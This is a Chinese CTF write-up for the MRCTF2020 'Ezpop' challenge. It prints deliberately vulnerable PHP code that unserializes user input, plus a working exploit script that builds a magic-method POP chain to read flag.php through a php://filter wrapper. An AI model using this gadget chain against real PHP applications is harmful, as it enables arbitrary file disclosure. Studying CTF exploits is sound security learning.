zoukankan      html  css  js  c++  java
  • [MRCTF2020]Ezpop

    2020.10.14

    最近开始努力提高代码能力

    题目代码

    Welcome to index.php
    <?php
    //flag is in flag.php
    //WTF IS THIS?
    //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    //And Crack It!
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
        public function __toString(){
            return $this->str->source;
        }
    
        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
                echo "hacker";
                $this->source = "index.php";
            }
        }
    }
    
    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    
    if(isset($_GET['pop'])){
        @unserialize($_GET['pop']);
    }
    else{
        $a=new Show;
        highlight_file(__FILE__);
    } 
    

    分析pop链

    从目标逆向分析触发条件

    结论

    根据以上分析,可以得出我们要构造一个Show类,这个类中的属性source也是一个show类,source下的属性str是一个Test类,且Test类中的p是一个Modifier类

    exp

    <?php
    
    class Modifier {
    	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    }
    
    class Show{
    	public $source;
        public $str;
    	public function __construct($file){
    		$this->source=$file;
    	}
    }
    
    class Test{
    	public $p;
    	public function __construct(){
    		$this->p=new Modifier();
    	}
    }
    
    $s=new Show("");
    $s->str=new Test();
    $a=new Show($s);
    echo urlencode(serialize($a));//为了便于在url中传输,我们将结果编码成url形式
    


    base64解码后

    依然存在的疑问

    exp中的类是对比好几个师傅的wp试出来的,但是为什么要把str=new Test()放在show类中source下,为什么source属性依然要是show类不是很清楚

  • 相关阅读:
    CodeDeploy 应用程序规范文件
    Lambda 函数的最佳实践
    路由策略
    AWS CodeStar
    使用 Lambda@Edge 在边缘站点自定义内容
    Step Functions
    将应用程序部署到 AWS Elastic Beanstalk 环境
    DynamoDB 静态加密
    web数据安全——防篡改
    【Spring】spring全局异常处理即全局model数据写入
  • 原文地址:https://www.cnblogs.com/yunqian2017/p/13817032.html
Copyright © 2011-2022 走看看